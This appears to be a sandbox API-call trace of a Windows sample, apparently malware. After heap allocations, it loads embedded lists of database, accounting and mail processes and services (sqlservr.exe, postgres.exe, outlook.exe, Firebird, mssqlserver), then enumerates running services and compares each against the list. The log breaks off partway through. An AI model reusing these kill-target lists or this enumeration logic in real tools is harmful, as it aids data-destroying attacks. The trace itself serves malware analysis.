RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738a70 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ec0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef0f0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f08 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738e18 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f20 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef110 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738e60 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738e30 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d88 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738db8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d28 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738dd0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ed8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f38 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738e78 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738ef0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738de8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738e90 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738da0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738e00 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c80 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ea8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738e48 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c50 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c68 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c98 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738cb0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef160 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6ef120 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d70 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738cf8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738cc8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d10 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d40 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738ce0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738d58 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739308 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739428 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7393c8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739368 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739218 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739320 [0146.765] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4d30, Size=0x400) returned 0x739930 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7392d8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7392a8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739260 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7392c0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7392f0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739188 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739338 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7393b0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739380 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739230 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef170 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739350 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739398 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7393e0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7393f8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739440 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7391a0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x739410 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739290 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739158 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739170 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739278 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7391b8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7391d0 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7391e8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739200 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef180 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739248 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739608 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739560 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7394e8 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739500 [0146.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739488 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7394d0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739698 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739590 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x7394a0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739458 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x739578 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7395a8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739638 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7396b0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7395c0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739518 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739740 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739470 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739530 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739710 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739668 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7394b8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739548 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7395d8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7395f0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739650 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739620 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739680 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7396c8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7396e0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7396f8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739728 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739878 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7398f0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x739830 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c55c0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7397e8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7398d8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739788 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739860 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739890 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739770 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7397a0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7397b8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7397d0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739908 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739800 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739818 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739758 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739848 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7398a8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7398c0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x73a020 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739e58 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739fa8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739ea0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x73a038 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739e28 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739ed0 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x739fd8 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739f48 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef090 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739f90 [0146.766] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef190 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x73a050 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739e88 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739df8 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739ee8 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739fc0 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739db0 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739f60 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739ff0 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739d68 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739eb8 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739e70 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739d98 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x73a008 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739f00 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef220 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739dc8 [0146.767] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739de0 Thread: id = 275 os_tid = 0xb6c Thread: id = 277 os_tid = 0xf44 [0146.867] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x717050 [0146.867] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x717050, Size=0x20) returned 0x6eeb80 [0146.867] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeb80, Size=0x40) returned 0x6c7c88 [0146.867] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7c88, Size=0x80) returned 0x7367e0 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7367e0, Size=0x100) returned 0x6f4f40 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7170e0 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7170e0, Size=0x20) returned 0x6ee8b0 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ee8b0, Size=0x40) returned 0x6c7b68 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7b68, Size=0x80) returned 0x737308 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x737308, Size=0x100) returned 0x739930 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x7170e0 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x74e7c0 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x716e58 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x74e7c0, Size=0x8) returned 0x74e810 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5820 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x74e810, Size=0x10) returned 0x717050 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c5a00 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6ee8b0 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x717050, Size=0x20) returned 0x6eea18 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6eec48 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x6c59c0 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6ee928 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x717020 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x74e7c0 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6c7b68 [0146.868] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x74e7c0, Size=0x8) returned 0x74e810 [0146.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x3c) returned 0x6c78e0 [0146.869] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x74e810, Size=0x10) returned 0x716e70 [0146.869] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c59a0 [0146.869] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c5880 [0146.869] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x716e70, Size=0x20) returned 0x6ee9f0 [0146.869] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6c6d18 [0146.869] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0146.869] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4f40 | out: hHeap=0x6b0000) returned 1 [0146.869] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0146.869] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x739930 | out: hHeap=0x6b0000) returned 1 [0146.869] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eeb80 [0146.869] EnumServicesStatusExW (in: hSCManager=0x6eeb80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0146.869] GetLastError () returned 0xea [0146.869] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x709520 [0146.869] EnumServicesStatusExW (in: hSCManager=0x6eeb80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x709520, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x709520, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0146.870] CloseServiceHandle (hSCObject=0x6eeb80) returned 1 [0146.870] lstrlenW (lpString="Appinfo") returned 7 [0146.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0146.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0146.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0146.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0146.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0146.870] lstrlenW (lpString="AppXSvc") returned 7 [0146.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0146.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0146.870] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0146.870] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0146.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0146.870] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0146.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.870] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0146.870] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0146.871] lstrlenW (lpString="Audiosrv") returned 8 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0146.871] lstrlenW (lpString="BFE") returned 3 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0146.871] lstrlenW (lpString="BITS") returned 4 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0146.871] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0146.871] lstrlenW (lpString="CDPSvc") returned 6 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0146.871] lstrlenW (lpString="ClipSVC") returned 7 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0146.871] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0146.871] lstrlenW (lpString="CryptSvc") returned 8 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0146.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0146.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0146.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0146.871] lstrlenW (lpString="DcomLaunch") returned 10 [0146.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0146.872] lstrlenW (lpString="Dhcp") returned 4 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0146.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0146.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0146.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0146.872] lstrlenW (lpString="Dnscache") returned 8 [0146.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0146.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0146.872] 